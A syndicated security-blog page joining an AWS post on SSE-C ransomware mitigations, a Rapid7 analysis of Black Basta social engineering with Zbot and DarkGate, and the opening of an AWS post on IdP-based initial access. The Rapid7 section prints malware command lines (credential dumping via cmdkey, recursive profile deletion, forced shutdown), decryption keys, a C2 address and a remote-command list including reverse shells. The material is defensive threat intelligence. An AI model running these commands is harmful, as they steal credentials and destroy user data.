RCPs allow customers to specify the maximum available permissions that apply to resources across an entire organization in AWS Organizations. An RCP can be applied by using the AWS Organizations UpdatePolicy API operation, the AWS Command Line Interface (CLI), or through the AWS Management Console. Learn more about how RCPs work in the AWS Organizations documentation. The following example shows an RCP that blocks SSE-C requests for buckets in the organization.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "RestrictSSECObjectUploads",
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:PutObject",
      "Resource": "*",
      "Condition": {
        "Null": {
          "s3:x-amz-server-side-encryption-customer-algorithm": "false"
        }
      }
    }
  ]
 }

II. Implement data recovery procedures

Without data protection mechanisms in place, data recovery times can be longer. As a data protection best practice, we recommend that you protect against data being overwritten and that you maintain a second copy of critical data.

Enable S3 Versioning to keep multiple versions of an object in a bucket, so that you can restore objects that are accidentally deleted or overwritten. It is important to note that versioning may increase storage costs, especially for applications that frequently overwrite objects in a bucket. In this case, consider implementing S3 Lifecycle policies to manage older versions and control storage costs.

Additionally, copy or take backups of critical data to a different bucket and perhaps to a different AWS account or AWS Region. To do this, you can use S3 replication to automatically copy objects between buckets. These buckets can reside in the same or in different AWS accounts, as well as in the same or in different AWS Regions. S3 replication also offers an SLA for customers that have more stringent RPO (Recovery Point Objective) and RTO (Recovery Time Objective) requirements. Alternatively, you can use AWS Backup for S3, which is a managed service that automates periodic backup of S3 buckets.

III. Monitor AWS resources for unexpected access patterns

Without monitoring, unauthorized actions on S3 buckets may go unnoticed. We recommend that you use tools such as AWS CloudTrail or S3 server access logs to monitor access to your data.

You can use AWS CloudTrail to log events across AWS services (including Amazon S3) and even combine logs into a single account to make them available to your security teams to access and monitor. You can also create CloudWatch alarms based on specific S3 metrics or logs to alert on unusual activity. These alerts can help you identify anomalous behavior quickly. You can also set up automation that uses Amazon EventBridge and AWS Lambda to automatically take corrective measures. See this topic in the S3 documentation for an example implementation of a setup used to scan all buckets across an organization and apply S3 Block Public Access.

IV. Implement short-term credentials

The most effective approach to mitigating the risk of compromised credentials is to never create long-term credentials in the first place. Credentials that do not exist cannot be exposed or stolen, and AWS provides a rich set of capabilities that alleviate the need to ever store credentials in source code or in configuration files.

IAM roles enable applications to securely make signed API requests from Amazon Elastic Compute Cloud (Amazon EC2) instances, Amazon Elastic Container Service (Amazon ECS), or Amazon Elastic Kubernetes Service (Amazon EKS) containers, or Lambda functions by using short-term credentials. Even systems outside the AWS Cloud can make authenticated calls without long-term AWS credentials by using the IAM Roles Anywhere feature. Additionally, AWS IAM Identity Center enables developer workstations to obtain short-term credentials backed by their longer-term user identities that are protected by Multi-factor Authentication (MFA).

All of these technologies rely on the AWS Security Token Service (AWS STS) to issue temporary security credentials that can control access to AWS resources without distributing or embedding long-term AWS security credentials within an application, whether in code or in configuration files.

Summary

Detecting unintended encryption techniques like this in your environment requires vigilance and support. In this post, we highlighted the most common indicators to look for. As your security teams work to constantly protect your environment, know that a number of teams at AWS—including the AWS Customer Incident Response Team (CIRT), Amazon Threat Intelligence, and services teams like the Amazon S3 team—are working diligently to innovate, collaborate, and share insights to help protect your valuable data.

In this post, we provided an update on this recent threat to customer data and highlighted four security best practices that customers can use to protect against the risk of bad actors using SSE-C to encrypt data by using lost or stolen AWS credentials.

As threat actor tactics evolve, our commitment to customer security remains unwavering. Together, we are building a more secure cloud environment, allowing you to innovate with confidence.

If you ever suspect unauthorized activity, please don’t hesitate to contact AWS Support immediately.

Steve de Vera
Steve de Vera

Steve is a manager in the AWS Customer Incident Response Team (CIRT) with a focus on threat research and threat intelligence. He is passionate about American-style BBQ and is a certified competition BBQ judge. He has a dog named Brisket.
Jennifer Paz
Jennifer Paz

Jennifer is a Security Engineer with over a decade of experience, currently serving on the AWS Customer Incident Response Team (CIRT). Jennifer enjoys helping customers tackle security challenges and implementing complex solutions to enhance their security posture. When not at work, Jennifer is an avid walker, jogger, pickleball enthusiast, traveler, and foodie, always on the hunt for new culinary adventures.

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware

Post Syndicated from Tyler McGraw original https://blog.rapid7.com/2024/12/04/black-basta-ransomware-campaign-drops-zbot-darkgate-and-custom-malware/

Executive Summary

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware

Beginning in early October, Rapid7 has observed a resurgence of activity related to the ongoing social engineering campaign being conducted by Black Basta ransomware operators. Rapid7 initially reported the discovery of the novel social engineering campaign back in May, 2024, followed by an update in August 2024, when the operators updated their tactics and malware payloads and began sending lures via Microsoft Teams. Now, the procedures followed by the threat actors in the early stages of the social engineering attacks have been refined again, with new malware payloads, improved delivery, and increased defense evasion.

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware

Overview

The social engineering attacks are still initiated in a similar manner. Users within the target environment will be email bombed by the threat actor, which is often achieved by signing up the user’s email to numerous mailing lists simultaneously. After the email bomb, the threat actor will reach out to the impacted users. Rapid7 has observed the initial contact still occurs primarily through usage of Microsoft Teams, by which the threat actor, as an external user, will attempt to call or message the impacted user to offer assistance. The account domains in use include both Azure/Entra tenant subdomains (e.g., username[@]tenantsubdomain[.]onmicrosoft[.]com) and custom domains (e.g., username[@]cofincafe[.]com).

In many cases, Rapid7 has observed that the threat actor will pretend to be a member of the target organization’s help desk, support team, or otherwise present themself as IT staff. Below are examples of Microsoft Teams display names observed, by Rapid7, to be in use by operators. The display names may or may not be padded with whitespace characters. Rapid7 has also observed threat actors use a first and last name, as the chat display name and/or account username, to impersonate an IT staff member within the targeted organization.

Operator Chat Display Name
Help Desk
HELP DESK
Help Desk Manager
Technical Support
Administracion

If the user interacts with the lure, either by answering the call or messaging back, the threat actor will attempt to get the user to install or execute a remote management (RMM) tool, including, but not limited to, QuickAssist, AnyDesk, TeamViewer, Level, or ScreenConnect. Rapid7 has also observed attempts to leverage the OpenSSH client, a native Windows utility, to establish a reverse shell. In at least one instance, the threat actor shared a QR code with the targeted user. The purpose of the QR code is unconfirmed but appears to be an attempt to bypass MFA after stealing a user’s credentials. The URL embedded within the QR code adheres to the following format: hxxps://<company_name>[.]qr-<letter><number>[.]com.

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware
Figure 1. A QR code (obfuscation by Rapid7) sent by an operator.

In a majority of cases, Rapid7 has observed that the operator, after gaining access to the user’s asset via RMM tool, will then attempt to download and execute additional malware payloads. In one case handled by Rapid7, the operator requested more time — potentially to hand off the access to another member of the group.

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware
Figure 2. An operator stalls for time.

The payload delivery methods vary per case, but have included external compromised SharePoint instances, common file sharing websites, servers rented through hosting providers, or even direct upload to the compromised asset in the case of RMM tool remote control. In one case, the operator used the group’s custom credential harvester to dump the user’s credentials, the results for which were subsequently uploaded to a file sharing site — publicly exposing the stolen credentials. SharePoint has been used to distribute copies of AnyDesk portable, likely to circumvent security measures that would prevent the user from downloading it directly from anydesk[.]com. Such attempts have been blocked by web proxy in previous cases.

The overall goal following initial access appears to be the same: to quickly enumerate the environment and dump the user’s credentials. When possible, operators will also still attempt to steal any available VPN configuration files. With the user’s credentials, organization VPN information, and potential MFA bypass, it may be possible for them to authenticate directly to the target environment.

Rapid7 has observed usage of the same credential harvesting executable, previously reported as AntiSpam.exe, though it is now delivered in the form of a DLL and most commonly executed via rundll32.exe. Whereas before it was an unobfuscated .NET executable, the program is now commonly contained within a compiled 64-bit DLL loader. Rapid7 has analyzed at least one sample that has also been obfuscated using the group’s custom packer. The newest versions of the credential harvester now save output to the file 123.txt in the user’s %TEMP% directory, an update from the previous qwertyuio.txt file, though versions of the DLL distributed earlier in the campaign would still output to the previous file.

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware
Figure 3. The credential harvesting prompt shown to the user upon executing the DLL (redaction by Rapid7).

The credential harvester is most commonly followed by the execution of a loader such as Zbot (a.k.a. Zloader) or DarkGate. This can then serve as a gateway to the execution of subsequent payloads in memory, facilitate data theft, or otherwise perform malicious actions. Rapid7 has also observed operators distributing alternate payload archives containing Cobalt Strike beacon loaders and a pair of Java payloads containing a user credential harvester variant and a custom multi-threaded beacon by which to remotely execute PowerShell commands. In some cases, operators have sent the user a short command, via Teams, which will then begin an infection chain after execution by the targeted user.

Rapid7 continues to observe inconsistent usage of the group’s custom packer to deliver various malware payloads, including their custom credential harvester. A YARA rule is now publicly available that can be used to detect the packer. For example, this packer was used to deliver several obfuscated versions of Black Basta ransomware, obtained via open source intelligence, which directly links operators to the ongoing social engineering campaign.

At the time of writing, the threat actors behind the campaign continue to update both their strategy for gaining initial access and the tools subsequently used. For example, around the time the most recent campaign activity began, Rapid7 observed the delivery of a timestamped and versioned payload archive, 171024_V1US.zip (2024-10-17, version 1, US), which, when compared to a more recently delivered archive, 171124_V15.zip (2024-11-17, version 15), highlights the rapid iteration being undertaken. Many of the payloads being delivered follow a similar pattern as previous activity and often consist of a legitimate file where an export or function entry point has been overwritten to jump to malicious code, and the result is signed with a likely stolen code signing certificate.

Intrusions related to the campaign should be taken seriously — the intent goes beyond typical phishing activity. Past campaign activity has led to the deployment of Black Basta ransomware. While Rapid7 has handled a high volume of incidents related to the current social engineering campaign across a variety of customer environments, to date, every case has been contained before the operator was able to move laterally beyond the targeted user’s asset.

Technical Analysis

Initial Access

Each attack is preceded by the targeted user receiving an often overwhelming amount of emails. An operator will then attempt to contact the user via Microsoft Teams, either via messaging or calling, by which they will pretend to offer assistance. Operators will attempt to impersonate the organization’s help desk, such as using the names of existing staff members.

During this social engineering stage, operators often need to troubleshoot with the user to establish remote control of the user’s asset. Based on the environment, for example, RMM tool downloads or execution may be blocked (often some, but not all) or QuickAssist may be disabled, causing the operator to cycle through their options at establishing a foothold. One of the most common first steps after gaining either the confidence of the user, or remote access, is to execute a custom credential harvester.

Credential Harvesting

The credential harvester used by operators, for example SafeStore.dll (SHA256: 3B7E06F1CCAA207DC331AFD6F91E284FEC4B826C3C427DFFD0432FDC48D55176), is an updated version of the previously analyzed program AntiSpam.exe. The DLL variant of the credential harvester is executed by a command like the following example:

rundll32.exe SafeStore.dll,epaas_request_clone

The module will quickly execute three enumeration commands to gather system information — systeminfo, route print, ipconfig /all — and then prompt the user for their password. The user’s credentials are appended onto a new line of the text file 123.txt with each attempt, after the enumeration command output, regardless of whether the credentials are correct. If the user enters the wrong password, they will be prompted to try again. The output for the enumeration commands and the user’s credentials were saved to the file qwertyuio.txt in older versions of the harvester, but are now saved to 123.txt, within the user’s %TEMP% directory. The enumeration commands within the updated version are executed via successive calls to CreateProcessA.

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware
Figure 4. Success and failure messages for the credential harvester.

Based on analysis of one credential harvester sample, EventCloud.dll, the program was present in shellcode form. The shellcode is decrypted from the Cursor Group 880 resource embedded within the executable, using the XOR key 5A 3C 77 6E 33 30 4D 38 4F 38 40 78 41 58 51 30 42 5F 3F 67 71 00, and then injected locally. The following strings which were extracted from the shellcode show the output file and list dynamically loaded libraries:

Credential Harvester Strings
cmd.exe /c %s%s %s%s%s%s 123.txt ooki
Update filter kb_outl Need credentials to update… Username: Password:
ntdll.dll Gdi32.dll user32.dll msvcrt.dll ucrtbase.dll
Comctl32.dll Advapi32.dll kernel32.dll

The Java variant of the credential harvester, identity.jar, provides a similar prompt to the user, though when a password is entered it is appended, without the username, to a .txt file with a random 10-letter alphabetic name to the current working directory. The cancel button on the prompt, shown below, is not functional and the prompt is drawn on top of other windows, meaning that it will not close until the user has entered their password correctly.

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware
Figure 5. The credential harvesting prompt created by `identity.jar`.

Malware Payloads

Following execution of a credential harvester, an operator will typically infect the asset with Zbot or DarkGate. One of the Zbot samples delivered after initial access, SyncSuite.exe (SHA256: DB34E255AA4D9F4E54461571469B9DD53E49FEED3D238B6CFB49082DE0AFB1E4) contains similar functionality and strings to other Zbot/Zloader samples previously reported by ZScaler. However, in addition to previously observed strings, the sample also contains encrypted strings for an embedded command help menu, error messages, and more. Rapid7 observed the embedded malware version was 2.9.4.0.

Upon execution, the malware will copy itself to a random folder within the %APPDATA% directory. If the file does not have its original filename however, the process will immediately exit. The malware also contains the functionality to establish persistence either via a Run key at HKCU\Software\Microsoft\Windows\CurrentVersion\Run or a scheduled task named after the executable, which executes the malware copy in %APPDATA% whenever the user logs on. After collecting the hostname, username, and the installation date from the InstallDate value contained within the registry key HKLM\Software\Microsoft\Windows NT\CurrentVersion, this data is concatenated (delimited by underscore characters) and encrypted, along with other config information. It is then stored within the user’s registry inside a random key created at HKCU\Software\Microsoft\. The analyzed sample will also load a fresh copy of ntdll.dll to avoid hooking, which is then used to perform calls to NTAPI functions. SyncSuite.exe ultimately injects itself into a suspended instance of msedge.exe, created using NtCreateUserProcess and executed via ResumeThread, a technique known as Process Hollowing.

All of the strings used by the malware are stored encrypted within the .rdata section along with the configuration. The strings are decrypted using an obfuscated loop that is ultimately a simple XOR operation with the hard coded key 16 EB D5 3E AA E6 51 09 14 D3 DF 18 AD D6 1B BD BE, which is also stored in the .rdata section. The configuration is decrypted using an RC4 key, F3 F9 F7 FB FA F3 F7 F7 FF F5 F2 F3 FA FD FE F2 for this sample. The decrypted configuration for SyncSuite.exe can be seen below, with empty rows removed. The configuration contains a different public RSA key and botnet ID than the one previously shared by ThreatLabz, indicating that the campaign is being run by a different affiliate. All decrypted strings from SyncSuite.exe can be seen in the Zbot Strings section following other Indicators of Compromise.

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware
Figure 6. The decrypted Zbot configuration for `SyncSuite.exe` (1264 bytes).

Rapid7 has also observed the delivery of DarkGate malware following initial access. One payload archive contained both a DarkGate infection initiation script, test.vbs, and an executable copy of the DarkGate malware itself, SafeFilter.exe (SHA256: EF28A572CDA7319047FBC918D60F71C124A038CD18A02000C7AB413677C5C161 ), though this copy is packed using the group’s custom packer. The final payload containing the DarkGate malware, after several layers of decrypting and loading, contains the version string 7.0.6. If the folder c:\debugg exists on the system when the malware is executed it will display the version number via MessageBoxA. The configuration for this sample can be seen below along with hard coded commands. Notably, the campaign ID for the sample appears to be drk2.

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware
Figure 7. DarkGate displays its version using a debug message box.

The configuration is decrypted with the key ckcilIcconnh within a customized XOR loop near the beginning of execution to reveal CRLF delimited options. However, due to the implementation of the decryption loop, the keyspace is effectively reduced to that of a single byte (0-255), after the first byte. This makes the XOR key for the majority of the config 0x60, for this sample allowing for the encrypted data to be trivially bruteforced.

| SafeFilter.exe DarkGate Config |-|

Key-Value Pair Description
0=179.60.149[.]194| C2 domains or IP addresses, delimited with ‘|’ characters
8=No If enabled and the file C:\ProgramData\hedfdfd\Autoit3.exe does not exist, call MessageBoxTimeoutA using keys 11 and 12 and a timeout of 1770ms.
11=Error Used by key 8 as a message box title.
12=PyKtS5Q The string Error, base64 encoded with the custom alphabet zLAxuU0kQKf3sWE7ePRO2imyg9GSpVoYC6rhlX48ZHnvjJDBNFtMd1I5acwbqT+=. Used by key 8 as a message box caption.
13=6 Unknown
14=Yes Unknown
15=80 C2 communication port.
1=Yes Enables infection.
32=Yes If enabled, attempt bypass of detected security products. For example, enables calls to RtlAdjustPrivilege and NtRaiseHardError to cause a crash if hdkcgae is not present in C:\temp\ and a Kaspersky product has been detected.
3=No If disabled, do an anti-vm display check.
4=No If enabled, compare system drive size to key 18. If below, exit.
18=100 Minimum drive size in GB.
6=No If enabled and key 3 is disabled, check the display for known virtual machine display strings using EnumDisplayDevicesA. If matched, exit. Failed to match properly when tested.
7=No If enabled, compare system RAM to key 19. If below, exit.
19=4096 Minimum RAM size in MB.
5=No If enabled, check the registry key ProcessorNameString at HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0 for xeon. If found, exit.
21=No Unknown
22 Not present in the config for this sample, but is still checked for in the code. If enabled, set the variant string to DLL, otherwise ?.
23=Yes If enabled, set the variant string to AU3 for Autoit3 payloads.
31=No If enabled, set the variant string to AHK for AutoHotKey payloads.
25=drk2 Campaign ID
26=No Unknown
27=rsFxMyDX Decryption key, also used to bound/find payloads stored within other files.
28=No Unknown
29=2 Unknown
35=No Unknown
tabla=IsUiPQ4&atzM5N=0($"3]TGfyK8JYwvO61SAF{ndrDuol29*RkmqCpgxeX[EH,V)}7jbZBc.WLh Unknown
DarkGate Hard-coded Commands
/c cd /d "C:\Users\User\AppData\Roaming<browser_dir>" && move <browser_name> <browser_name><random_alphabet_string>
/c cd /d "C:\Users\User\AppData\Local" && move <browser_name> <browser_name><random_alphabet_string>
/c cmdkey /delete:
/c cmdkey /list > c:\temp\cred.txt
/c del /q /f /s C:\Users\User\AppData\Roaming\Mozilla\firefox*
/c ping 127.0.0.1 & del /q /f /s c:\temp & del /q /f /s C:\ProgramData\hedfdfd\ & rmdir /s /q C:\ProgramData\hedfdfd\
/c shutdown -f -r -t 0
/c shutdown -f -s -t 0
/c wmic ComputerSystem get domain > C:\ProgramData\hedfdfd\fcadaab

During execution, DarkGate will hash certain strings and use the result to create or check files at the directories C:\ProgramData\hedfdfd(mainfolder) and C:\temp\. The hashing algorithm uses a randomized key generated at runtime, so the hashes across infections will be different. Commonly used strings and their resultant hash, for the analysis environment, are shown below.

Path String DarkGate Custom Hash
mainfolder hedfdfd
logsfolder fhhcfhh
settings dhkbbfc
domain fcadaab
mutex0 hfgdced
mutex1 cekchde
au3 dgfeabe
c.txt adfcbdd
cc.txt dehgaba
script daaadeh
fs.txt hdkcgae

DarkGate may also change its behavior if a known security product is detected. This is achieved by using CreateToolhelp32Snapshot and related functions to loop through running processes which are compared to a hard-coded list. The malware will also check for known installation directories using GetFileAttributesA. If a security product is found, a flag will be set which may alter the execution path. Only the following products had associated flags:

DarkGate “Supported” Security Products
Windows Defender Sophos Quick Heal MalwareBytes Panda Security
Norton/Symantec ESET/Nod32 Kaspersky Avast SentinelOne
Bitdefender

At the end of the first execution of the DarkGate payload, it will then attempt to inject itself into a host process. First, DarkGate will select the injection target by searching a list of hard coded directories for any executable that contains the string updatecore.exe, subdirectories included. The path C:\Program Files (x86)\Microsoft\EdgeUpdate\ is searched first, with the fallback being C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe. If a matching Edge executable is not found, the path C:\Program Files (x86)\Google\Update\ is then searched. If that also fails, the malware will attempt to use C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe.

After successfully choosing the injection target, DarkGate will then inject itself into the target process using shellcode, terminating the original instance of the final DarkGate payload after executing the shellcode. When creating an instance of the target process to inject, DarkGate will also attempt to spoof the parent process ID (PPID) of the injection target by enumerating running processes for accessibility using OpenProcess and then randomly selecting one from an assembled list. The PPID of the target is then updated using UpdateProcThreadAttribute prior to creation with CreateProcessA.

Execution of the injected process is coordinated by checking for the presence of two file based mutexes within C:\ProgramData\hedfdfd\ (mainfolder). Each instance of the DarkGate malware checks both of the file-based mutexes. The file mutex usage is checked via calls to CreateFileA using an exclusive share mode flag (0) and a creation disposition of CREATE_ALWAYS, which means that if the mutex is already in usage by another DarkGate instance the call will fail. If the call to both mutexes created by DarkGate, hfgdced and cekchde, fails, DarkGate will exit. As a result of having two mutexes, DarkGate will typically run within two injected process instances at the same time, so if one process is terminated, the remaining instance will spawn another. If a DarkGate instance is spawned and both calls to open the file based mutexes fail, indicating two existing DarkGate instances, the new instance will terminate. This technique is rarely used by malware developers and highlights the sophistication of DarkGate malware.

DarkGate will unconditionally log keystrokes as well as clipboard data that is under 1024 bytes. The logged data is stored encrypted at C:\ProgramData\hedfdfd\fhhcfhh (mainfolder\logsfolder) within files named <date>.log. The logged data may be sent directly to the C2 address contained within the config. A thread is also created to persist on infected systems by creating the Run key daaadeh (script) at HKCU\Software\Microsoft\Windows\CurrentVersion\Run. The Run key will point to the copies of Autoit3.exe and the compiled AU3 script payload dgfeabe.a3x (au3) created at C:\ProgramData\hedfdfd (mainfolder), with the former executing the latter every time the user logs on. When the AU3 script is executed, DarkGate reinfects the system. The thread continuously monitors the text within the infected user’s active window however, sleeping 1500ms between checks, and will delete the registry key if a blacklisted application is detected. This list includes popular analysis tools such as Process Hacker, Process Monitor, Task Manager, and even the Windows Registry Editor.

The DarkGate sample executed by SafeFilter.exe contains 78 remote commands, some of which can be seen below with their intended function. Every loop, the malware will re-send the text of the active window, user idle time, and whether or not the malware instance has admin rights, before checking for a command.

Command ID Function
1000 Sleep for a randomized amount of time.
1004 Use MessageBoxA to display the message test msg.
1044,1045,1046 Click the user’s mouse at specified screen coordinates using SetCursorPos and successive calls to mouse_event. 1044 for double left-click. 1045 for single left click. 1046 for single right click.
1049 Create a remote shell via powershell.exe.
1059 Terminate process by PID.
1061 Inject DarkGate shellcode into a specified process or an Edge/Chrome process if none is selected. The shellcode is then executed via ResumeThread.
1062,1063,1064 Inject DarkGate shellcode into a specified process or cmd.exe if none is selected. The shellcode is then executed via CreateRemoteThread.
1066 Remove infection files by using cmd.exe to delete the staging directories C:\ProgramData\hedfdfd and c:\temp\.
1071 Steal sitemanager.xml and recentservers.xml from %APPDATA%\FileZilla\ if present.
1079 If admin, delete stored credentials found using cmdkey.
1080 Rename browser directories for Firefox, Chrome, and Brave if present after terminating the related browser executable. Attempt to steal Opera cookies if present, after terminating the process.
1081 Use NTAPI calls RtlAdjustPrivilege and NtRaiseHardError to crash the system.
1083 Use the shutdown command to turn the system off.
1084 Use the shutdown command to restart the system.
1089 If 1=Yes in config, reinfect system with AU3 payloads.
1093 Create a remote shell via cmd.exe.
1097 Infect system with AU3 variant. Creates the files script.a3x and Autoit3.exe in c:\temp and then executes script.a3x via Autoit3.exe using CreateProcessA.
1104 Infect system with AHK variant. Creates the files script.ahk, test.txt, and AutoHotkey.exe in c:\temp and then executes script.ahk via AutoHotkey.exe using CreateProcessA.
1108 Infect system with DLL variant. Creates the files libcurl.dll, test.txt, and GUP.exe in c:\temp and then executes GUP.exe via CreateProcessA.
1111 Create the files ransom.txt and decrypter.exe in c:\temp. Terminate decrypter.exe if already running and then execute decrypter.exe using CreateProcessA. Likely ransomware deployment method.
DarkGate Remote Command Related Strings
U_Binder U_BotUpdate U_Constantes U_FTPRecovery U_FileManager
U_FileManagerMisc U_GetScreens U_HVNC U_HVNC_7
U_HWID U_InfoRecovery U_InjectOnFly U_Keylogger U_LNKStartup
U_MemExecute U_MemExecuteMisc U_RemoteScreen U_SysApi U_SysNtReadWrite
U_miniclipboard u_AntiAntiStartup u_Antis u_AudioRecord u_CustomBase64
u_ExtraMisc u_HollowInstall u_InjectEP u_InvokeBSOD u_RDPRecovery
u_Ransomware u_ReadCookies u_ReverseShell u_RootkitMutex u_Settings
u_SettingsPad u_ShellcodeEP u_UnlockCookies u_loadpe hxxps://ipinfo[.]io/ip

Mitigation Guidance

Rapid7 recommends taking the following precautions to limit exposure to these types of attacks:

  • Restrict the ability for external users to contact users via Microsoft Teams to the greatest extent possible. This can be done for example by blocking all external domains or creating a white/black list. Microsoft Teams will allow all external requests by default. For more information, see this reference.
  • Standardize remote management tools within the environment. For unapproved tools, block known hashes and domains to prevent usage. Hash blocking can be done, for example, via Windows AppLocker or an endpoint protection solution.
  • Provide user awareness training regarding the social engineering campaign. Familiarize users with official help desk and support procedures to enable them to spot and report suspicious requests.
  • Standardize VPN access. Traffic from known low cost VPN solutions should be blocked at a firewall level if there is no business use case.

Rapid7 Customers

InsightIDR, Managed Detection and Response, and Managed Threat Complete customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this activity:

Detections
Suspicious Chat Request – Potential Social Engineering Attempt
Initial Access – Potential Social Engineering Session Initiated Following Chat Request
Suspicious Conversation – Potential Social Engineering Message Interaction
Attacker Technique – Process Executed Using Nt Object Path
Suspicious Process – Enumeration Burst via ShellExecute
Attacker Technique – Renamed Kaspersky Dump Writer
Ransomware – Possible Black Basta Related Binary Execution
Credential Access – Steal or Forge Kerberos tickets
Suspicious Process – Diskshadow (Windows Server) Delete Shadow Copies
Non-Approved Application – Remote Management and Monitoring (RMM) Tools

MITRE ATT&CK Techniques

Tactic Technique Procedure
Resource Development T1587.001: Develop Capabilities: Malware The threat actor is actively developing new malware to distribute.
Impact T1498: Network Denial of Service The threat actor overwhelms email protection solutions with spam.
Initial Access T1566.004: Phishing: Spearphishing Voice The threat actor calls impacted users and pretends to be a member of their organization’s IT team to gain remote access.
Defense Evasion T1140: Deobfuscate/Decode Files or Information The threat actor encrypts some zip archive payloads with a password.
Defense Evasion T1055.002: Process Injection: Portable Executable Injection Multiple payloads executed by the threat actor utilize local PE injection.
Defense Evasion T1620: Reflective Code Loading Multiple payloads executed by the threat actor load and execute shellcode.
Credential Access T1649: Steal or Forge Authentication Certificates The threat actor has distributed numerous signed malware payloads.
Credential Access T1056.001: Input Capture: Keylogging The threat actor runs an executable that harvests the user’s credentials.
Credential Access T1558.003: Steal or Forge Kerberos Tickets: Kerberoasting The threat actor has performed Kerberoasting after gaining initial access.
Discovery T1033: System Owner/User Discovery The threat actor enumerates asset and user information within the environment after gaining access.
Command and Control T1572: Protocol Tunneling The threat actor has attempted to use SSH reverse tunnels.
Command and Control T1219: Remote Access Software The threat actor has used QuickAssist, AnyDesk, ScreenConnect, TeamViewer, Level, and more, to facilitate remote access.

Indicators of Compromise

All indicators of compromise are available at the Rapid7 Labs Github repository.

Unauthorized tactic spotlight: Initial access through a third-party identity provider

Post Syndicated from Steve de Vera original https://aws.amazon.com/blogs/security/unauthorized-tactic-spotlight-initial-access-through-a-third-party-identity-provider/

Security is a shared responsibility between Amazon Web Services (AWS) and you, the customer. As a customer, the services you choose, how you connect them, and how you run your solutions can impact your security posture.

To help customers fulfill their responsibilities and find the right balance for their business, under the shared responsibility model, AWS provides strong default configurations, offers guidance such as the AWS Well-Architected Framework and Customer Compliance Guides, and offers a number of security services.

As part of our work, the AWS Customer Incident Response Team (AWS CIRT) observes tactics and techniques used by various threat actors that leverage unintended customer configurations. Understanding these tactics can help inform your design decisions, help improve your response plans, and help you detect these situations if they occur in your environment.

This blog post dives into some of the recent techniques used by threat actors that leverage specific customer configurations or design to make unauthorized use of resources within an AWS account. We’ll explain the techniques, the customer configurations that created the opportunity, and the AWS features and services you can use to help mitigate the impact of the tactics.

Technique overview

Identity federation is a system of trust between two parties for the purpose of authenticating users and conveying the information needed to authorize their access to resources. In simpler terms, this optional feature allows you to use one central system (an identity store) for all of your users and groups (note that it is possible to configure more than one identity provider for a given AWS account at one time if you wish to do so). You can then grant those identities permissions to your AWS resources by using that trust relationship.

Prerequisites for the event

In order for a threat actor to gain initial access into an AWS account during this type of security event, a third-party IdP must be configured to manage access to an AWS account (or a series of AWS accounts in an organization) through federation. The threat actor must also have gained the ability to write to the customer’s identity store with the third-party IdP (for example, they can create a user, have compromised a sufficiently privileged user, and so on).

When an IdP is configured to access an AWS account, permissions to access resources within that AWS account can be granted to users that have been authenticated by the IdP. This means that AWS uses the preconfigured trust with the IdP when it comes to performing the user identification (such as username, password, and multi-factor authentication (MFA)). With this technique, the threat actor uses the third-party IdP user’s access to obtain authenticated access to modify and create resources in the customer’s linked AWS accounts. This scenario is possible if, for example, the threat actor can create a user in the IdP’s identity store, or if they have obtained access to a privileged user’s credentials already in the identity store.

Detection and analysis opportunities

There are multiple ways that you may be able to find evidence of threat actors’ activities in this type of scenario. The challenge for customers is differentiating between the actions taken by a threat actor, and actions taken in the course of normal operations. The primary source of evidence for customer actions and threat actor activities is AWS CloudTrail, though Amazon GuardDuty and AWS Config also have detections that may be of assistance.

AWS CloudTrail

Your investigation should start by reviewing the CloudTrail event history for specific API calls. The following is a list of some calls (including various request parameters and field values) that have been associated with this tactic.

Remember, during security events there may be other API calls present that could indicate potential threat actor activity. In this post, we’re focusing only on the API calls related to this initial access tactic.

In the organization management account, threat actors leverage actions such as the following:

  1. UpdateTrail – This action is used to update CloudTrail trail settings, such as what events you are logging, and which bucket is to be used for log delivery. Threat actors use this API endpoint to change or reduce the logging of subsequent API calls.
  2. PutEventSelectors – This API call is used to configure which events are selected for a specific CloudTrail trail. AWS CIRT has observed this situation in cases where event selections were configured to deactivate logging for management events for trails configured in some accounts, and to only log read-only events in others (as opposed to write events such as DeleteBucket and RunInstances). The requestParameters field in the event record outlines which selectors were requested for configuration, as shown in Figure 1.
    Figure 1: Event selectors set to ReadOnly

    Figure 1: Event selectors set to ReadOnly

    Figure 2 displays a CloudTrail event record for the PutEventSelectors action where the includeManagementEvents parameter is set to false.

    Figure 2: Event selectors with the includeManagementEvents parameter set to false

    Figure 2: Event selectors with the includeManagementEvents parameter set to false

  3. StartSSO – This action is recorded when IAM Identity Center is initialized by the threat actor to expand their access into the organization. This event is significant, because this is an uncommon action and can raise awareness of potential malicious activity if this event was not authorized earlier.
  4. CreateUser – This API call is logged when the threat actor creates a user. While the CreateUser action can use an eventSource of iam.amazonaws.com, when the CreateUser API is issued by an identity store, the eventSource will be listed as sso-directory.amazonaws.com. The record for this event, shown in Figure 3, does not actually contain the name of the user created. However, it does contain elements that you can use to determine the username for the user created.
  5. Figure 3: CloudTrail event record for CreateUser event

    Figure 3: CloudTrail event record for CreateUser event

    Using the AWS CLI, you can retrieve the actual username requested by the CreateUser action by using the identityStoreId and the userId in the following command:

    aws identitystore list-users --identity-store-id <insert_identityStoreId> --query 'Users[?UserId==`<insert_userId>`].UserName'

    Figure 4 shows the results of using the command.

    Figure 4: Determining an identity store username from UserId

    Figure 4: Determining an identity store username from UserId

    Use this username to filter the CloudTrail event history in the member accounts. That will reduce the events shown to just those taken by this specific user, making it easier to map out the actions taken during this event.

